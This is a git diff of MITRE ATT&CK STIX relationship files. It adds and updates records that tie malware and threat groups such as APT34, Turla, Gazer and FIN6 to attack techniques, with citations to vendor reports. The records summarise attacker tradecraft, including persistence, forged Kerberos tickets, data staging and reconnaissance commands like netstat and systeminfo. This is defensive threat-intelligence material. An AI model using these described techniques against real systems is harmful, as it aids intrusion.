+++ b/enterprise-attack/relationship/relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--20d0bb92-055a-4e09-9c39-9572a75a3081",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER persists through a scheduled task that executes it every minute.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ea61c268-d0d1-4cbe-8b26-16f70f515a04.json b/enterprise-attack/relationship/relationship--ea61c268-d0d1-4cbe-8b26-16f70f515a04.json
index 5283a720cf..f5453d38df 100644
--- a/enterprise-attack/relationship/relationship--ea61c268-d0d1-4cbe-8b26-16f70f515a04.json
+++ b/enterprise-attack/relationship/relationship--ea61c268-d0d1-4cbe-8b26-16f70f515a04.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--64c47e21-5ec1-460f-867e-6c96a423c62a",
+    "id": "bundle--48c72927-3515-4354-aaac-4a1cb122a781",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ea61c268-d0d1-4cbe-8b26-16f70f515a04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec has a plugin to detect active drivers of some security products.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--ea6289bb-c974-4e4c-bdc4-1c3211a6d1d4.json b/enterprise-attack/relationship/relationship--ea6289bb-c974-4e4c-bdc4-1c3211a6d1d4.json
index f2b2ff7c65..d9538e7e35 100644
--- a/enterprise-attack/relationship/relationship--ea6289bb-c974-4e4c-bdc4-1c3211a6d1d4.json
+++ b/enterprise-attack/relationship/relationship--ea6289bb-c974-4e4c-bdc4-1c3211a6d1d4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c4d49c07-1b8f-4c77-a6b8-7911adeddaed",
+    "id": "bundle--0669590d-8c2c-42b2-9dd5-e6db54bd406d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ea6289bb-c974-4e4c-bdc4-1c3211a6d1d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary is capable of configuring itself as a service.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--ea93ff11-939f-449a-a222-4273d9fc9f3c.json b/enterprise-attack/relationship/relationship--ea93ff11-939f-449a-a222-4273d9fc9f3c.json
index 9423238559..c68c82a215 100644
--- a/enterprise-attack/relationship/relationship--ea93ff11-939f-449a-a222-4273d9fc9f3c.json
+++ b/enterprise-attack/relationship/relationship--ea93ff11-939f-449a-a222-4273d9fc9f3c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--706e7a51-e6f0-43f3-a50d-92848b8b58de",
+    "id": "bundle--9bd6e19e-619b-4cf1-b7e9-8ee0c928e474",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ea93ff11-939f-449a-a222-4273d9fc9f3c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 searches through connected drives for removable storage devices.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--ea964313-8f60-4cff-800c-2ea49e2c19d7.json b/enterprise-attack/relationship/relationship--ea964313-8f60-4cff-800c-2ea49e2c19d7.json
index 659afb1240..5e90048e49 100644
--- a/enterprise-attack/relationship/relationship--ea964313-8f60-4cff-800c-2ea49e2c19d7.json
+++ b/enterprise-attack/relationship/relationship--ea964313-8f60-4cff-800c-2ea49e2c19d7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4784f102-23b8-4563-b293-8c9bfe79dcc7",
+    "id": "bundle--c13166fd-5d82-4dfa-af5a-b68e70037620",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ea964313-8f60-4cff-800c-2ea49e2c19d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Many Misdat samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--eaa06586-e33e-4e4c-91ca-76935c22e012.json b/enterprise-attack/relationship/relationship--eaa06586-e33e-4e4c-91ca-76935c22e012.json
index 8ae0009d17..446f08130f 100644
--- a/enterprise-attack/relationship/relationship--eaa06586-e33e-4e4c-91ca-76935c22e012.json
+++ b/enterprise-attack/relationship/relationship--eaa06586-e33e-4e4c-91ca-76935c22e012.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f2ae473-37a9-47fb-b026-597087204f46",
+    "id": "bundle--34884210-5105-4496-803c-20382fe88bb6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--eaa06586-e33e-4e4c-91ca-76935c22e012",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs local network connection discovery using <code>netstat -ano</code> commands.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--eaaf6671-ead6-441b-b8d0-037a1e47572e.json b/enterprise-attack/relationship/relationship--eaaf6671-ead6-441b-b8d0-037a1e47572e.json
index 2e456f1d1a..e895c6bc21 100644
--- a/enterprise-attack/relationship/relationship--eaaf6671-ead6-441b-b8d0-037a1e47572e.json
+++ b/enterprise-attack/relationship/relationship--eaaf6671-ead6-441b-b8d0-037a1e47572e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--33b49f84-9df7-4559-92f5-df77075e25f9",
+    "id": "bundle--727ceafb-51ad-4879-95ab-66bb3974211c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--eaaf6671-ead6-441b-b8d0-037a1e47572e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TRINITY malware used by FIN6 identifies payment card track data on the victim and then copies it to a local file in a subdirectory of <code>C:\\Windows\\</code>. Once the malware collects the data, FIN6 actors compressed data and moved it to another staging system before exfiltration.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--eb0307d6-901d-4140-84f9-a08c6a8ea14c.json b/enterprise-attack/relationship/relationship--eb0307d6-901d-4140-84f9-a08c6a8ea14c.json
new file mode 100644
index 0000000000..7bc61d4eac
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--eb0307d6-901d-4140-84f9-a08c6a8ea14c.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--ce8d270e-4c55-4704-ac75-cf32a6826967",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--eb0307d6-901d-4140-84f9-a08c6a8ea14c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can establish persistence by creating a scheduled task. ",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--eb74fa31-121d-4e43-9794-048a901f509a.json b/enterprise-attack/relationship/relationship--eb74fa31-121d-4e43-9794-048a901f509a.json
index de1629b586..984ab422ff 100644
--- a/enterprise-attack/relationship/relationship--eb74fa31-121d-4e43-9794-048a901f509a.json
+++ b/enterprise-attack/relationship/relationship--eb74fa31-121d-4e43-9794-048a901f509a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1723f3e7-ba5b-477a-a45c-6e2034e5a3ce",
+    "id": "bundle--7f45fe94-b510-4260-8144-ad7cb8e9b13d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--eb74fa31-121d-4e43-9794-048a901f509a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Uroburos is a rootkit used by Turla.",
             "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978.json b/enterprise-attack/relationship/relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978.json
index 18a053e406..e167b22794 100644
--- a/enterprise-attack/relationship/relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978.json
+++ b/enterprise-attack/relationship/relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bbec25cb-8ef1-4131-a11e-2a15244e5989",
+    "id": "bundle--167bc24f-8f9a-4a31-8053-93d9cd954aa6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The \"ZR\" variant of BACKSPACE will check to see if known host-based firewalls are installed on the infected systems. BACKSPACE will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--eb85fa2e-3c50-4130-9717-8688237fecbc.json b/enterprise-attack/relationship/relationship--eb85fa2e-3c50-4130-9717-8688237fecbc.json
index 74662d54b6..37ad02d93a 100644
--- a/enterprise-attack/relationship/relationship--eb85fa2e-3c50-4130-9717-8688237fecbc.json
+++ b/enterprise-attack/relationship/relationship--eb85fa2e-3c50-4130-9717-8688237fecbc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3b5639e4-74a1-4c4f-8ee6-65f2b03baefd",
+    "id": "bundle--c1142fb1-08e6-48d0-bd4d-1dc8ce35d042",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--eb85fa2e-3c50-4130-9717-8688237fecbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about the OS:\n** <code>ver >> %temp%\\download</code>\n** <code>systeminfo >> %temp%\\download</code>",
+            "description": "admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about the OS: <code>ver >> %temp%\\download</code> <code>systeminfo >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--eb91c7d8-2cfb-4d8b-905a-d146bc8178e2.json b/enterprise-attack/relationship/relationship--eb91c7d8-2cfb-4d8b-905a-d146bc8178e2.json
new file mode 100644
index 0000000000..32c11e5e52
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--eb91c7d8-2cfb-4d8b-905a-d146bc8178e2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--887ba1a0-e19d-40f8-87d4-121f86e3cb49",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--eb91c7d8-2cfb-4d8b-905a-d146bc8178e2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--eb9366d5-2bd1-4d0b-8f55-2305827c20d1.json b/enterprise-attack/relationship/relationship--eb9366d5-2bd1-4d0b-8f55-2305827c20d1.json
new file mode 100644
index 0000000000..f158df19db
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--eb9366d5-2bd1-4d0b-8f55-2305827c20d1.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--5040505b-15f4-4f88-8b5a-bc4968d69a4c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--eb9366d5-2bd1-4d0b-8f55-2305827c20d1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ec30b3a9-69b4-4604-9def-db9e904df309.json b/enterprise-attack/relationship/relationship--ec30b3a9-69b4-4604-9def-db9e904df309.json
new file mode 100644
index 0000000000..6a43e2ee65
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ec30b3a9-69b4-4604-9def-db9e904df309.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--17f841a6-6a83-4993-be93-f3bc50e26032",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ec30b3a9-69b4-4604-9def-db9e904df309",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer uses custom encryption for C2 using 3DES and RSA.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a.json b/enterprise-attack/relationship/relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a.json
index 032e5fd7cb..b2c3090983 100644
--- a/enterprise-attack/relationship/relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a.json
+++ b/enterprise-attack/relationship/relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5f0d74fe-971d-4cf9-9a4c-94d8e5542bf5",
+    "id": "bundle--94199b55-3578-4c21-ac72-14c3eb980aab",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the getInstalledAPP function to run <code>ls -la /Applications</code> to gather what applications are installed.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5.json b/enterprise-attack/relationship/relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5.json
new file mode 100644
index 0000000000..2c0b681ee5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--8f927a96-c444-4afd-9a04-68ca93e53138",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ec6002c7-a2ca-4792-8dc4-0f0746768762.json b/enterprise-attack/relationship/relationship--ec6002c7-a2ca-4792-8dc4-0f0746768762.json
new file mode 100644
index 0000000000..d86efd1c32
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ec6002c7-a2ca-4792-8dc4-0f0746768762.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2e1f50e3-cfdc-4a97-b2f6-b59f087bcc89",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ec6002c7-a2ca-4792-8dc4-0f0746768762",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used WMI for execution.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ec6074e4-4137-42a4-86c8-1ea95ce54df6.json b/enterprise-attack/relationship/relationship--ec6074e4-4137-42a4-86c8-1ea95ce54df6.json
index 9986f530c1..e1f6827b1a 100644
--- a/enterprise-attack/relationship/relationship--ec6074e4-4137-42a4-86c8-1ea95ce54df6.json
+++ b/enterprise-attack/relationship/relationship--ec6074e4-4137-42a4-86c8-1ea95ce54df6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--97d1db14-a144-4d2e-8783-bbca667beb73",
+    "id": "bundle--75f5e303-fc87-4f37-b1ec-1cf96033cb65",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ec6074e4-4137-42a4-86c8-1ea95ce54df6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT has been seen loaded into msiexece.exe through process hollowing to hide its execution.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18.json b/enterprise-attack/relationship/relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18.json
index 6b60143f06..07ec4309c4 100644
--- a/enterprise-attack/relationship/relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18.json
+++ b/enterprise-attack/relationship/relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--274a00c7-5849-4041-9163-f05a7364d935",
+    "id": "bundle--57847665-9b19-4291-abe8-1324853ddcc2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has stored captured credential information in a file named pi.log.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--ec99ea0b-1020-4ccc-bdc8-d545a4d3ccf6.json b/enterprise-attack/relationship/relationship--ec99ea0b-1020-4ccc-bdc8-d545a4d3ccf6.json
new file mode 100644
index 0000000000..1c78cc8032
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ec99ea0b-1020-4ccc-bdc8-d545a4d3ccf6.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--78121e41-c0d6-4d8f-a4cb-8c392de90100",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ec99ea0b-1020-4ccc-bdc8-d545a4d3ccf6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used certutil to decode base64-encoded files on victims.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ecb0d858-dd15-4181-b15b-76459db1d294.json b/enterprise-attack/relationship/relationship--ecb0d858-dd15-4181-b15b-76459db1d294.json
index 37d604ef31..db5615bdc7 100644
--- a/enterprise-attack/relationship/relationship--ecb0d858-dd15-4181-b15b-76459db1d294.json
+++ b/enterprise-attack/relationship/relationship--ecb0d858-dd15-4181-b15b-76459db1d294.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bd9be802-aa0a-4e05-bcf6-c55415b97fa0",
+    "id": "bundle--874cd197-d69a-4101-b35b-f4f425a8ae44",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ecb0d858-dd15-4181-b15b-76459db1d294",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor executes using regsvr32.exe called from the Registry Run Keys / Start Folder persistence mechanism.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
diff --git a/enterprise-attack/relationship/relationship--ecb5e830-b678-47a6-98a2-d4dbe162f09e.json b/enterprise-attack/relationship/relationship--ecb5e830-b678-47a6-98a2-d4dbe162f09e.json
index 084e939512..424e2a1a64 100644
--- a/enterprise-attack/relationship/relationship--ecb5e830-b678-47a6-98a2-d4dbe162f09e.json
